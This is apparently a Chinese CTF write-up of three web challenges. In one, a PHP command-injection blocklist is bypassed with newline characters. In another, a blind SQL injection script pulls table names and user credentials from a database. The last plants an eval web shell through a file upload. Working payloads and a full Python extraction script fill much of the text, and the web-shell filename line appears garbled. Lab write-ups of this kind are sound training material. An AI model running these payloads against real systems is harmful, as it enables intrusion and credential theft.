做题思路
打开题目,提示用 admin 账号登陆
无效的用户名或密码,再次尝试admin,admin,回显依然一样
第二句话说发现账户,应该是和cookie 有关,但是该如何下手呢
输入127.0.0.1试试,没有任何反应
做题思路
尝试输入
ls /
查看WP,原来题目叫我们以JSON的格式提交命令
?cmd={"cmd":"ls"}
源码
'; } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) { echo 'Hacking attempt detected
'; } else { echo 'Attempting to run command:
'; $cmd = json_decode($json, true)['cmd']; if ($cmd !== NULL) { system($cmd); } else { echo 'Invalid input'; } echo '
'; } } ?>他这个过滤够吓人的
但是他用的是preg_match()函数,只匹配一行,用个换行符搞定
payload?cmd={%0A"cmd": "ls /"%0A}
这提供了个路径,看下这个路径有啥
?cmd={%0A"cmd": "ls /home/rceservice"%0A}
flag果然在这里
那如何调用cat呢,简单,直接用绝对路径调用
payload?cmd={%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}
即可查看flag
做题思路
只有登陆界面,测试了下啥都没有,扫目录发现robots.txt,给出了.bak备份文件下载
那个喵喵喵图片是从image.php发出来的,就可以下载他的备份文件…
源码如下
<?php include "config.php"; $id=isset($_GET["id"])?$_GET["id"]:"1"; $path=isset($_GET["path"])?$_GET["path"]:""; $id=addslashes($id); $path=addslashes($path); $id=str_replace(array("\\0","%00","\\'","'"),"",$id); $path=str_replace(array("\\0","%00","\\'","'"),"",$path); $result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'"); $row=mysqli_fetch_array($result,MYSQLI_ASSOC); $path="./" . $row["path"]; header("Content-Type: image/jpeg"); readfile($path);
可以发现他是通过id或者path这两个变量来与数据库进行交互的
说明可以用这两个变量来进行sql注入看到过滤函数
addslashes函数会转义单引号,双引号,反斜杠,null。$id=str_replace(array("\\0","%00","\\'","'"),"",$id); $path=str_replace(array("\\0","%00","\\'","'"),"",$path);
要让sql语句闭合
我们可以让id =\0'
payload:
id=\0'&path=or 1=1 --+
成功执行
有布尔回显,可以使用布尔盲注查库
payload:id=\0'&path=or ascii(substr(database(),1,1))>1 --+
库名为
ciscnfinal
查表
paylaod:id=\0%27&path=or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1 --+
查列(由于过滤了分号可以使用十六进制字符窜
查usr表里的列名
payloadid=\0%27&path=or ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),1,1))>1 --+
列名为username,password
查username
payload
id=\0%27&path=or ascii(substr((select group_concat(username) from users),1,1))>1 --+
username 为:admin
查password
id=\0%27&path=or ascii(substr((select group_concat(password) from users),1,1))>1 --+
最终脚本如下
import requests url = "http://f8e8efcc-b6b6-4ed9-9be9-0b116b194294.node3.buuoj.cn/image.php" #查库 payload1="?id=\\0'&path=or ascii(substr(database(),{},1))>{} --+" #查表 payload2 ="?id=\\0%27&path=or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{} --+" #查列 payload3 ="?id=\\0%27&path=or ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),{},1))>{} --+" #查用户名 payload4 ="?id=\\0%27&path=or ascii(substr((select group_concat(password) from users),{},1))>{} --+" #查密码将username换为password database ="" for i in range(1,10000): low = 32 high = 128 mid =(low + high) // 2 while(low < high): # payload = payload1.format(i,mid) #查库名 # payload = payload2.format(i,mid) #查表名 # payload = payload3.format(i,mid) #查列名 payload = payload4.format(i,mid) #查用户名 new_url = url + payload r = requests.get(new_url) print(new_url) if "JFIF" in r.text: low = mid + 1 else: high = mid mid = (low + high) //2 if (mid == 32 or mid == 132): break database +=chr(mid) print(database) # print("database=",database) #输出库名 # print("table=",database) #输出表名 # print("column=",database) #输出列名 print("usernmae=",database) #输出用户名
登录后是一段文件上传
payload
filename==@eval($_POST['penson']);?>
蚁剑连接即可拿到flag
借鉴自该文章